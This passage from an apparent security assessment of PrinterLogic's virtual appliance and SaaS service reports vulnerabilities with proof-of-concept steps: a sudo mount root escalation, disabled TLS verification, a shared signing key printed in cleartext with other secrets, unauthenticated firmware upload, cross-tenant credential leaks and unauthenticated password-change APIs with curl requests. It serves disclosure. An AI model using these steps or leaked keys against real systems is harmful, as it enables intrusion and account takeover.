67 # Install vbox extensions 68 VBOXVERSION=$(VBoxManage --version | sed -r 's/([0-9])\.([0-9])\.([0-9]{1,2}).*/\1.\2.\3/') 69 wget -q -N "http://download.virtualbox.org/virtualbox/$VBOXVERSION/Oracle_VM_VirtualBox_Extension_Pack-$VBOXVERSION.vbox-extpack" 70 echo "y" | sudo VBoxManage extpack install --replace Oracle*.vbox-extpack
There is also a Local Privilege Escalation for the Jenkins user on the build machine, allowing mounting any directory (e.g. /etc) or file and getting root access.
Content of /opt/includes/provision/va-build-node.sh
:
13 # Whitelist the jenkins user to run mount or umount as sudo 14 echo "Installing jenkins sudo permissions for mount/umount" 15 if [[ $(sudo grep "^jenkins " /etc/sudoers | grep "/bin/mount,/bin/umount" | wc -l) -lt 1 ]]; then 16 echo "# Allow jenkins to mount/umount directories (used for mounting the matrix cache)" | sudo tee -a /etc/sudoers 17 echo "jenkins ALL=(ALL) NOPASSWD: /bin/mount,/bin/umount" | sudo tee -a /etc/sudoers 18 fi
PoC to get root privileges from the jenkins user:
$ sudo mount -o bind /bin/sh /bin/mount
$ sudo mount
# id
uid=0(root) gid=0(root) groups=0(root)
The security of the build system of PrinterLogic relies on the DockerHub account vladg
. This account doesn't belong to PrinterLogic.
The transfer of Virtualbox extension pack is done over HTTP without verification, and an attacker doing MITM can compromise the build system.
The Jenkins account on the build system has root access because of permissive sudo rules.
The OpenID implementation at /var/www/app/lib/common/lightopenid/openid.php
is completely outdated, with a version from 2010, and is also vulnerable to Man-In-The-Middle attacks:
Content of /var/www/app/lib/common/lightopenid/openid.php
:
1 <?php 2 /** 3 * This class provides a simple interface for OpenID (1.1 and 2.0) authentication. 4 * Supports Yadis discovery. 5 * The authentication process is stateless/dumb. 6 * [...] 42 * The library depends on curl, and requires PHP 5. 43 * @author Mewp 44 * @copyright Copyright (c) 2010, Mewp 45 * @license http://www.opensource.org/licenses/mit-license.php MIT 46 */ 47 class LightOpenID [...] 118 protected function request($url, $method='GET', $params=array()) 119 { 120 $params = http_build_query($params, '', '&'); 121 $curl = curl_init($url . ($method == 'GET' && $params ? '?' . $params : '')); 122 curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); 123 curl_setopt($curl, CURLOPT_HEADER, false); 124 curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); // [1] ouch 125 curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); 126 if ($method == 'POST') {
The verification of the SSL certificate is disabled on line 124.
From the Curl documentation, available at https://curl.se/libcurl/c/CURLOPT_SSL_VERIFYPEER.html:
WARNING: disabling verification of the certificate allows bad guys to man-in-the-middle the communication without you knowing it. Disabling verification makes the communication insecure. Just having encryption on a transfer is not enough as you cannot be sure that you are communicating with the correct end-point. - https://curl.se/libcurl/c/CURLOPT_SSL_VERIFYPEER.html
The official source code is available at https://github.com/iignatov/LightOpenID and has not been maintained since 2016.
This PHP library has been known for years for being insecure. From https://marc.info/?l=openid-security&m=155477050605610&w=2:
In my testing, I found a PHP open source library for OpenID named "LightOpenID" that is also high-risk to SSRF attacks. This PHP library appears to be quite popular as well in the community, and in my opinion, iseven riskier than ruby-openid. In addition to the SSRF weakness, I was able to demonstrate auth bypass against one affected app by performing whatis known as a Malicious Endpoint Attack (an attacker spoof's an OpenID 2.0 Provider (OP), and uses the Blind SSRF to gain unauthorized access to other app user accounts).
This code is vulnerable to Man-In-The-Middle and SSRF.
The version used in the solution is completely outdated, for more than 10 years.
This library is not supported since 2016.
By default, the variable MS_AUTH_KEY
is imported into a large number of Docker instances. Here are the Docker instances with access to this private key.
Finding Docker instances with access to the MS_AUTH_KEY
environment variable:
root@printerlogic:~# for i in $(docker ps | awk '{ print $1 }'); do echo -n "$(docker ps|grep $i | awk '{ print $2 }') "; echo -n "$(docker exec -it $i env | grep MS_AUTH_KEY)";echo;done
printerlogic/pi:5.0.6539 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/pi:5.0.6539 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/pi:5.0.6539 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/pi:5.0.6539 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/va-api:1.1.4 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/tree:1.0.57 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/authn:1.0.257 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/identity:v1.0.88 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/users:5.186.1 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/idpi:1.0.6 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/sched:1.0.18 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/ebc:1.0.34 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/oncp-pgw:v1.0.21 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/scss:1.0.39 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
traefik:latest
printerlogic/scd:1.0.70 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/eb:0.0.4 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
redis:5-alpine
printerlogic/pi:5.0.6539 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/gw:1.208.5 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/cpp-ui:1.80.5 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/client:25.1.0.551
printerlogic/oncp-reg:1.0.15 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/users:5.186.1 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/oncp-ofn:v1.0.6 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/prs:1.0.2 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/br:1.0.62 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/edw:1.0.44 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/oncp-hold:v1.0.31 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/cat:1.0.58 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/qms:1.0.124 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
dperson/samba:latest
printerlogic/pi:5.0.6539 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/pq:5.0.124 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/scim:1.0.9 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
mysql:8.0.26
portainer/agent:latest
printerlogic/va-cdn:0.0.435 MS_AUTH_KEY=ccb33b57-7960-409c-9d15-b6c5b475c839
printerlogic/hive:1.1.30
root@printerlogic:~#
This variable is used to manage the firmware update processus using the /va-api
route (managed by the Docker instance va-api
, with the program /opt/va-api
).
By default, the route /va-api
doesn't implement a standard authentication mechanism.
The API /va-api/v1/update/filename?sign=%s×tamp=%d
provides the firmware update interface, allowing an attacker to upload a malicious firmware image (signed using the previous GPG key extracted) to a remote appliance.
The update is a 2-step process:
/va-api/v1/update/filename?sign=unique_signature&timeStamp=current_timestamp
with the GPG-encrypted firmware image/va-api/v1/update/filename?sign=unique_signature&timeStamp=current_timestamp
In these 2 steps, there are no session cookies or authentication mechanism based on login/password:
Uploading the firmware image
Installing the firmware image
The update process works using a correct sign value associated with a timestamp. This sign value is calculcated using the MS_AUTH_KEY
value in the /var/www/app/app/Services/SignService.php
file implementing the SignService class:
Content of /var/www/app/app/Services/SignService.php
:
1 <?php [...] 13 class SignService 14 { 15 /** 16 * Return an array that contains the info needed to sign a request 17 * 18 * @param string $siteId The siteId to use 19 * 20 * @return array 21 */ 22 public static function getSignInfo($siteId = null) 23 { 24 if (!$siteId) { 25 $siteId = App::getSiteId(); 26 } 27 28 $currentTime = Carbon::now(); 29 30 $info = implode( 31 ",", 32 [ 33 'key' => config('auth.microservice_auth_key'), // [1] retrieve auth.microservice_auth_key 34 'siteId' => $siteId, 35 'timeStamp' => $currentTime 36 ] 37 ); 38 $sign = Hash::make($info); // [2] generation of a secure hash 39 40 return [ 41 'sign' => $sign, 42 'timeStamp' => $currentTime 43 ]; 44 } 45 }
On line 33, the variable auth.microservice_auth_key
which is the previous environment variable MS_AUTH_KEY
will be used as a secret key to generate a hash on the line 38.
An attacker knowing the MS_AUTH_KEY
variable can create valid signatures for the upload process, without using credentials for authentication.
If an attacker has access to the file /etc/printercloud/appliance.env
OR access to any Docker instance, then the appliance can be completely compromised by uploading a malicious firmware image, without administrator credentials.
The compromise of any Docker instance means that the solution is completely compromised.
/etc/printercloud/appliance.env
containing the variable in clear-text with insecure permissions:
root@printerlogic:~# ls -la /etc/printercloud/appliance.env -rwxrwxr-x 1 ubuntu docker 858 Jan 27 10:16 /etc/printercloud/appliance.env root@printerlogic:~# cat /etc/printercloud/appliance.env [...] # Anything below this line has been added via script/automation VA_VERSION="1.0.730" MS_AUTH_KEY="ccb33b57-7960-409c-9d15-b6c5b475c839" APPLIANCE_LOG_DIR="/var/www/efs_storage/logs/oddhok71vqjdjhjtous8xy3vx" APP_KEY="1U3leCKOyUKV2NHfYHFJ3bH9l5JU8X7M" MYSQL_ROOT_PASSWORD="0aa58a30-9f32-4731-a03c-3795fe49c0f3" [...] root@printerlogic:~#
The variable sign will appear in the source of the webpage http://target/admin/generators/management_ts_account.php
. The source code comes from the included page /var/www/app/admin/design/management_accountts_pcabout.php
.
Content of /var/www/app/admin/design/management_accountts_pcabout.php
:
1 <?php [...] 10 'about.va.versions', 11 [ 12 'versions' => json_encode(VaService::getPackageVersions()), 13 'date' => VaService::getUpdateTimestamp(), 14 'updateAvailable' => VaService::isApplianceUpdateAvailable(), 15 'apiSignInfo' => SignService::getSignInfo('va-api'), 16 'gwUrl' => config('api.gw.public_url'),
Regarding the recovery of the MS_AUTH_KEY
value using the timestamp and the siteId values, it appears this attack is not possible with the current hardware. The attacker knows the result of hash(MS_AUTH_KEY siteId timeStamp
), the timestamp value and the siteId, allowing him to test MS_AUTH_KEY values:
known_hash = bcrypt(`MS_AUTH_KEY known_siteId known_timeStamp`, cost = 10)
A bruteforce attack using all different MS_AUTH_KEY values (the '-' characters and the 15th character '4' are always at the same position using random uuids provided by the Linux kernel) will require testing 16^31 possibilities. This bruteforce capacity is not likely to be available for average attackers.
An initial analysis of the /opt/av-api
(from the Docker instance va-api) has been done. This is a HTTP server implementing APIs for the route /v1/*:
Reverse Engineering va-api
It appears the program /opt/va-api
reads the variable MS_AUTH_KEY
in /etc/printercloud/appliance.env
to confirm if the sign and timestamp variables are valid. This docker has full RW privileges to the /etc/printercloud
directory:
root@printerlogic:/var/www/efs_storage/logs/oddhok71vqjdjhjtous8xy3vx# docker exec -it 7943f93771b1 /bin/sh
/ # mount | grep printercloud
/dev/mapper/printerlogic--vg-root on /etc/printercloud type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/ #
This program was not analysed but contains a lot of interesting functions (e.g. managing the update processus). Futhermore, this Docker instance is exposed (non-assigned CVE vulnerability - Insecure access to Docker instances from the WAN).
If any attacker compromises any Docker instance, then he can upload malicious firmware updates and install them without authentication.
The compromise of any Docker instance means the solution is completely compromised.
There is no accountability regarding the firmware update process - it is not possible to associate the update process with a specific administrator.
The firmware upgrade mechanism is insecure (and was successfully compromised in the 2024 security assessment: Remote take over of PrinterLogic instances (Remote Code Execution)).
The audited PrinterLogic version is 22.0.893 (December 2023).
The audited host version is 1.0.730.
This PrinterLogic version has been retrieved from https://help.printerlogic.com/va/1-Printerlogic/Release_Notes/VA_Latest_Host_Builds.htm (OpenBuild 22.0.893: December 1st, 2023).
The host version has been retrieved from https://docs.printerlogicva.com/1-Printerlogic/Release_Notes/VA_Latest_Host_Builds.htm (Build 1.0.730: December 30th, 2021).
Checksums of the audited versions:
b06c9938b8ec5fd47a41fb7188d8e50fd9bac727a2ac0e84e4719524a124f744 printerinstaller-22.0.893.ova
The VA version was updated to the latest version (20.0.2140 from 04/01/2024).
The solutions use several Docker instances - all the instances have been made up to date, as shown below:
PrinterLogic VA version
PrinterLogic VA version
PrinterLogic SaaS version on [redacted].printerlogic10.com
These vulnerabilities have not been patched:
These vulnerabilities have been patched:
The version of the audited macOS/Linux client is 21.1.0.658.
These vulnerabilities have not been patched:
These vulnerabilities have been patched:
The version of the audited Windows client version is 25.0.0.983.
These vulnerabilities have not been patched:
These vulnerabilities have been patched:
PrinterLogic SaaS version on [redacted].printerlogic10.com
It was observed that the /api-gateway/br/devices
API is insecure - this API will display the passwords of other tenants using the SaaS version. It appears that it is also possible to change the settings of other tenants (not tested but the source code does not implement authentication so it is vulnerable).
In cloud computing, tenancy refers to the sharing of computing resources in a private or public environment that is isolated from other users and kept secret. Cross-tenant vulnerabilities allow a customer to interact with data/infrastructure used by another customer, breaking a critical security boundary.
We can confirm that the displayed passwords correspond to other tenants since the siteID
variables are specified in the HTTP answer. For the security assessment, the siteID variables is [redacted1]
(prod instance) and [redacted2]
(test instance). An attacker can find information corresponding to other tenants (with siteID variables [redacted]
, [redacted]
, [redacted]
, ...):
Disclosure of credentials using the /api-gateway/br/devices
API:
PoC - HTTP request to https://[redacted].printercloud10.com/api-gateway/br/devices
GET /api-gateway/br/devices HTTP/2
Host: [redacted].printercloud10.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Csrf-Token: mG855uOhde1KjgHFrfdLdHHNejyllHHF07DL93Lj
X-Requested-With: XMLHttpRequest
Content-Length: 0
Origin: https://[redacted].printercloud10.com
Referer: https://[redacted].printercloud10.com/admin/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
And the reply provides clear-text credentials corresponding to other tenants while the request is sent to the [redacted]
tenant.
HTTP answer prodiving credentials of other tenants while interacting with the [redacted]
tenant:
HTTP/2 200 OK
Date: Mon, 18 Dec 2023 14:26:40 GMT
Content-Type: application/json
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: no-cache, private
Content-Security-Policy: frame-ancestors 'self'
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: nginx
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
{
"data": [
{
"type": "devices",
"id": "[redacted]",
"attributes": {
"siteId": "[redacted]",
"type": "[redacted]",
"ipAddress": "[redacted]",
"username": "[redacted]",
"password": "[redacted]",
"printerId": "[redacted]"
},
"relationships": {
"deviceType": {
"slug": "[redacted]",
"name": "[redacted]",
"credentials": true
}
}
},
[...]
{
"type": "devices",
"id": "[redacted]",
"attributes": {
"siteId": "[redacted]",
"type": "[redacted]",
"ipAddress": "[redacted]",
"username": "[redacted]",
"password": "[redacted]",
"printerId": "[redacted]"
},
"relationships": {
"deviceType": {
"slug": "[redacted]",
"name": "[redacted]",
"credentials": true
}
}
},
{
"type": "devices",
"id": "[redacted]",
"attributes": {
"siteId": "[redacted]",
"type": "[redacted]",
"ipAddress": "[redacted]",
"username": "[redacted-DC-domain]\\Administrator",
"password": "[redacted]",
"printerId": "[redacted]"
},
"relationships": {
"deviceType": {
"slug": "[redacted]",
[...]
The APIs are defined in the printerlogic/br
Docker instance and do not implement authentication: an attacker can view/edit settings corresponding to other tenants:
Content of /var/www/app/routes/api.php
:
<?php [...] use Illuminate\Http\Request; /* |-------------------------------------------------------------------------- | API Routes |-------------------------------------------------------------------------- | | Here is where API routes are registered for the application. These | routes are loaded by the RouteServiceProvider within a group which | is assigned the "api" middleware group. | */ Route::get('meta', 'MetaController@index'); Route::middleware(['auth.key'])->group(function () { /** * Device routes */ Route::get('devices', 'DeviceController@index'); Route::get('devices/{id}', 'DeviceController@show'); Route::post('devices', 'DeviceController@store'); Route::put('devices/{id}', 'DeviceController@update'); Route::delete('devices/{id}', 'DeviceController@destroy'); /** * Device type routes */ Route::get('device-types', 'DeviceTypeController@index'); Route::get('device-types/{slug}', 'DeviceTypeController@show'); });
Since authentication is not implemented, any user in any tenant can edit badge devices of any tenant:
Content of /var/www/app/app/Http/Controllers/DeviceController.php
implementing the previous methods:
<?php namespace App\Http\Controllers; use App\Http\Controllers\Traits\ApiResponse; use App\Http\Requests\DeviceRequest; use App\Models\Device; use App\Models\DeviceAttribute; use App\Services\DeviceService; use App\Transformers\DeviceTransformer; use Illuminate\Database\QueryException; use Illuminate\Http\JsonResponse; use Symfony\Component\HttpFoundation\Response as HttpResponse; /** * Class DeviceController */ class DeviceController { use ApiResponse; const INVALID_DEVICE_ERROR = 'INVALID-DEVICE'; private $service; /** * DeviceController constructor * * @param DeviceService $deviceService DeviceService object * * @return void */ public function __construct(DeviceService $deviceService) { $this->service = $deviceService; } /** * Return all devices * * @return array */ public function index(): array { $devices = Device::all(); return fractal()->create() ->collection($devices) ->transformWith(new DeviceTransformer()) ->withResourceName('data') ->toArray(); } /** * Display the specified resource. * * @param string $id Uuid of device * * @return array|JsonResponse */ public function show($id) { $device = Device::find($id); if (!empty($device->id)) { return fractal()->create() ->item($device) ->transformWith(new DeviceTransformer()) ->withResourceName('data') ->toArray(); } $message = 'Unable find record [' . $id . ']'; return $this->errorResponse($message, self::INVALID_DEVICE_ERROR, HttpResponse::HTTP_NOT_FOUND); } /** * Store device data * * @param App\Http\Requests\DeviceRequest $request Incoming HTTP request * * @return array|JsonResponse */ public function store(DeviceRequest $request) { $siteId = $request->header('X-Site-ID'); $data = $request->get('data'); $device = $this->service->create($siteId, $data); $response = fractal()->create() ->item($device) ->transformWith(new DeviceTransformer()) ->withResourceName('data') ->toArray(); return response()->json($response, HttpResponse::HTTP_CREATED); } /** * Update device data * * @param string $id The id of the device to udpate * @param App\Http\Requests\DeviceRequest $request Incoming HTTP request * * @return array|JsonResponse */ public function update(string $id, DeviceRequest $request) { $siteId = $request->header('X-Site-ID'); $data = $request->get('data'); $updatedDevice = $this->service->update($id, $siteId, $data); if ($updatedDevice !== null) { return fractal()->create() ->item($updatedDevice) ->transformWith(new DeviceTransformer()) ->withResourceName('data') ->toArray(); } $message = "Unable find existing record [$id] to update"; return $this->errorResponse($message, self::INVALID_DEVICE_ERROR, HttpResponse::HTTP_NOT_FOUND); } /** * Delete device data and its associated attributes * * @param string $id Uuid of device to be deleted * * @return JsonResponse */ public function destroy(string $id) { try { $device = Device::find($id); if ($device === null) { $message = "Device [$id] was not found"; return $this->errorResponse($message, self::INVALID_DEVICE_ERROR, HttpResponse::HTTP_NOT_FOUND); } $device->delete(); DeviceAttribute::where('device_id', $id)->delete(); return response()->json('', HttpResponse::HTTP_NO_CONTENT); } catch (QueryException $qe) { return $this->errorResponse($qe->getMessage()); } } }
A tenant can retrieve passwords for other tenants and compromise their infrastructure.
A tenant can edit the settings of other tenants.
It was observed that the authn
Docker instance is exposed over the Internet in the SaaS version and over the local network area in the VA version. This instance manages the authentication mechanisms (OIDC, SAML) but also provides several APIs to change users' passwords without authentication.
The authn
Docker instance implements APIs for IdP authentication and is not supposed to be directly reachable over the network:
Authn
instance:
root@printerlogic:/home/debug# docker ps|grep authn
f13ed71bef89 printerlogic/authn:1.16.0 "/var/www/app/.docke" 3 minutes ago Up 2 minutes (healthy) 80/tcp, 443/tcp, 9000-9001/tcp printercloud_authn.1.v4pisby2qagav2tl1uswkdyuu
Exposing this docker instance without authentication is a security risk as an attacker can edit users for any tenant.
Several routes are exposed to manage the authentication over SAML and OIDC - this seems to be a normal behavior:
Content of /var/www/app/routes/idp.php
:
1 <?php [...] 17 Route::get('idp/{idp}/saml2/login', 'Idp\Saml2\LoginController') 18 ->name('idp.saml2.login'); 19 20 Route::get('idp/multiple/login', 'Idp\LoginController') 21 ->name('idp.multiple.login'); 22 23 Route::post('idp/{idp}/saml2/acs', 'Idp\Saml2\AssertionConsumerController') 24 ->name('idp.saml2.acs'); 25 26 Route::get('idp/{idp}/saml2/metadata', 'Idp\Saml2\MetadataController') 27 ->name('idp.saml2.metadata'); 28 29 Route::get('idp/{idp}/desktop/assertion', 'Idp\Desktop\AssertionController') 30 ->name('idp.desktop.assertion'); 31 32 Route::get('idp/{idp}/desktop/validation/{username}', 'Idp\Desktop\ValidationController') 33 ->name('idp.desktop.validation'); 34 35 Route::post('idp/{idp}/desktop/validate-token', 'Idp\Desktop\Token\ValidateTokenController') 36 ->name('idp.desktop.token.validate'); 37 38 Route::post('idp/{idp}/desktop/renew-token', 'Idp\Desktop\Token\RenewTokenController') 39 ->name('idp.desktop.token.renew'); 40 41 Route::get( 42 'idp/{idp}/oidc/login', 43 [ 44 'uses' => 'Idp\Oidc\LoginController', 45 'middleware' => StartSession::class, 46 'as' => 'idp.oidc.login' 47 ] 48 );
For example, getting information about SAML2 authentication for the [redacted]
instance (the UID corresponding to the instance has been redacted):
kali% curl https://gw.app.printercloud10.com/[instance-name-redacted]/authn/idp/aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa/saml2/metadata
<?xml version="1.0"?>
<md:EntityDescriptor xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata"
validUntil="2024-01-05T12:44:21Z"
cacheDuration="PT604800S"
entityID="https://gw.app.printercloud10.com/[instance-name-redacted]/authn/idp/aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa/saml2/metadata">
<md:SPSSODescriptor AuthnRequestsSigned="false" WantAssertionsSigned="false" protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
<md:SingleLogoutService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect"
Location="https://gw.app.printercloud10.com/[instance-name-redacted]/authn/idp/aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa/saml2sls" />
<md:NameIDFormat>urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified</md:NameIDFormat>
<md:AssertionConsumerService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"
Location="https://gw.app.printercloud10.com/[instance-name-redacted]/authn/idp/aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa/saml2/acs"
index="1" />
</md:SPSSODescriptor>
<md:Organization>
<md:OrganizationName xml:lang="en-US">Name</md:OrganizationName>
<md:OrganizationDisplayName xml:lang="en-US">Display Name</md:OrganizationDisplayName>
<md:OrganizationURL xml:lang="en-US">http://url</md:OrganizationURL>
</md:Organization>
<md:ContactPerson contactType="technical">
<md:GivenName>name</md:GivenName>
<md:EmailAddress>no@reply.com</md:EmailAddress>
</md:ContactPerson>
<md:ContactPerson contactType="support">
<md:GivenName>Support</md:GivenName>
<md:EmailAddress>no@reply.com</md:EmailAddress>
</md:ContactPerson>
</md:EntityDescriptor>
But other non-public APIs allow an attacker to redefine passwords of users by specifying the target tenant:
Content of /var/www/app/routes/api.php
with insecure routes in lines 42 to 47:
1 <?php [...] 40 41 Route::middleware(['auth.key'])->group(function () { 42 Route::get('/password/{userId}/tenant/{tenantId}', [PasswordController::class, 'exists']); 43 Route::get('/password/{userId}/tenant/{tenantId}/updated', [PasswordController::class, 'lastUpdated']); 44 Route::post('/password/{userId}/tenant/{tenantId}', [PasswordController::class, 'verify']); 45 Route::post('/password', [PasswordController::class, 'store']); 46 Route::patch('/password/{user_id}/tenant/{tenant_id}', [PasswordController::class, 'update']); 47 Route::delete('/password/{user_id}/tenant/{tenant_id}', [PasswordController::class, 'destroy']); 48 [...]
These APIs are reachable over the LAN for Printer VA:
And from the Internet for the SaaS version:
As we can see, any valid tenant name can be used in the URL and the userID
and tenantID
are extracted from the URLs (from the /var/www/app/routes/api.php
file).
These requests do not require authentication.
HTTP requests to the authn instance through https://gw.app.printercloud10.com/:
kali% curl https://gw.app.printercloud10.com/[instance1]/authn/api/password/aaaaaaaa-aaaa-aaaaaaaaa-aaaaaaaaaaaa/tenant/9999/updated {"success":false,"message":"No password for userId"} kali% curl https://gw.app.printercloud10.com/[instance2]/authn/api/password/aaaaaaaa-aaaa-aaaaaaaaa-aaaaaaaaaaaa/tenant/9999/updated {"success":false,"message":"No password for userId"}
The user_id
and tenantId
variables are not a secret and can be extracted from APIs without authentication.
It appears that an attacker can change the password for any user in any tenant.
For this this test, the tenantId
and user_id
variables were extracted from the unit test file /var/www/app/tests/Integration/App/Http/Controllers/PasswordControllerTest.php
to avoid any impact in the SaaS environment:
Change of password for a specific user_id
and tenantId
(without authentication). This user corresponds to a test account:
The TenantID
variable is located everywhere in the source code of the https://[redacted].printercloud10.com/
webpages and in the API answers (without authentication).
For example, without authentication we can retrieve the tenantId value by interrogating the API /api-gateway/identify/search-groups
:
Access to /api-gateway/identify/search-groups
without authentication:
Or the /api-gateway/identities/jobs/1
API without authentication.
HTTP request to https://[instance].printercloud10.com/api-gateway/identities/jobs/1:
kali% curl https://[instance].printercloud10.com/api-gateway/identities/jobs/1
{"identifier":"1","tenantId":"9999","status":"Completed"}
Or the /api-gateway/identify/search-users
- this API can list all the users (id, firstname, lastname, displayname, username, email, domain, siteId, sourceId, sourceService, userAttributes [groups], ...)
Access to /api-gateway/identify/search-users
without authentication:
The implementation of these APIs is done in the /var/www/app/app/Http/Controllers/PasswordController.php
file, there is no authentication:
Content of /var/www/app/app/Http/Controllers/PasswordController.php
with:
1 <?php 2 3 namespace App\Http\Controllers; 4 5 use App\Models\Password; 6 use App\Services\PasswordService; 7 use Symfony\Component\HttpFoundation\Response; 8 use Illuminate\Http\Request; 9 10 /** 11 * Class PasswordController 12 * 13 * @package App\Http\Controllers 14 */ 15 class PasswordController extends Controller 16 { 17 /** 18 * An instance of Password Service 19 * 20 * @var PasswordService 21 */ 22 private $passwordService; 23 24 /** 25 * Constructor for the PasswordController 26 * 27 * @param passwordService $passwordService service instance 28 */ 29 public function __construct(PasswordService $passwordService) 30 { 31 $this->passwordService = $passwordService; 32 } 33 34 /** 35 * Endpoint to verify userid exists in passwords table. 36 * 37 * @param String $userId ID of the user passed from the user service 38 * @param Int $tenantId ID of the tenant 39 * 40 * @return \Illuminate\Http\JsonResponse 41 */ 42 public function exists(string $userId, int $tenantId) 43 { 44 $passwordExist = $this->passwordService->exists($userId, $tenantId); 45 46 if ($passwordExist) { 47 return response()->json(['success' => true], Response::HTTP_OK); 48 } 49 50 return response() 51 ->json( 52 [ 53 'success' => false, 54 "message" => 'No password for userId' 55 ], 56 Response::HTTP_NOT_FOUND 57 ); 58 } 59 60 /** 61 * Endpoint to get the last updated date of the password for the given userId. 62 * 63 * @param String $userId ID of the user 64 * @param Int $tenantId ID of the tenant 65 * 66 * @return \Illuminate\Http\JsonResponse 67 */ 68 public function lastUpdated(string $userId, int $tenantId) 69 { 70 $passwordUpdatedAt = $this->passwordService->lastUpdated($userId, $tenantId); // [1] information about the userId 71 72 if ($passwordUpdatedAt !== null) { 73 return response()->json(['success' => true, 'updated_at' => $passwordUpdatedAt], Response::HTTP_OK); 74 } 75 76 return response() 77 ->json( 78 [ 79 'success' => false, 80 'message' => 'No password for userId' 81 ], 82 Response::HTTP_NOT_FOUND 83 ); 84 } 85 86 87 /** 88 * Endpoint to verify password hashes. 89 * 90 * @param Request $request Request Object 91 * @param String $userId ID of the user passed from the user service 92 * @param Int $tenantId ID of the tenant 93 * 94 * @return \Illuminate\Http\JsonResponse 95 */ 96 public function verify(Request $request, string $userId, int $tenantId) 97 { 98 //Validate required fields 99 $request->validate([ 100 'password' => 'required|string|max:255', 101 ]); 102 103 $passwordVerified = $this->passwordService->verify($userId, $request->input('password'), $tenantId); // [2] verification of the password 104 105 if ($passwordVerified) { 106 return response()->json(['success' => true], Response::HTTP_OK); 107 } 108 return response() 109 ->json( 110 [ 111 'success' => false, 112 "message" => 'Password does not match.' 113 ], 114 Response::HTTP_FORBIDDEN 115 ); 116 } 117 118 /** 119 * Endpoint to create new password records. 120 * 121 * @param Request $request Request object 122 * 123 * @return \Illuminate\Http\JsonResponse 124 */ 125 public function store(Request $request) 126 { 127 //Validate required fields 128 $validated = $request->validate([ 129 'user_id' => 'required|max:255|unique:passwords,user_id,NULL,id,tenant_id,' . $request->input('tenant_id'), 130 'tenant_id' => 'required|unique:passwords,tenant_id,NULL,id,user_id,' . $request->input('user_id'), 131 'password' => 'required_without:hashed_password|string|max:255', 132 'hashed_password' => 'required_without:password|string|max:255', 133 ]); 134 135 //Create new model and save 136 $password = new Password; 137 138 //Fill Model; 139 $password->fill($validated); 140 141 //Save 142 $password->save(); 143 144 return response()->json(['success' => true], Response::HTTP_CREATED); 145 } 146 147 /** 148 * Endpoint to update existing password records. 149 * 150 * @param Request $request Request Object 151 * @param String $user_id ID of the user passed from the user service 152 * @param Int $tenant_id ID of the tenant 153 * 154 * @return \Illuminate\Http\JsonResponse 155 */ 156 public function update(Request $request, string $user_id, int $tenant_id) 157 { 158 //Validate required fields 159 $validated = $request->validate([ 160 'password' => 'required||max:255', 161 ]); 162 163 // Get the record to be 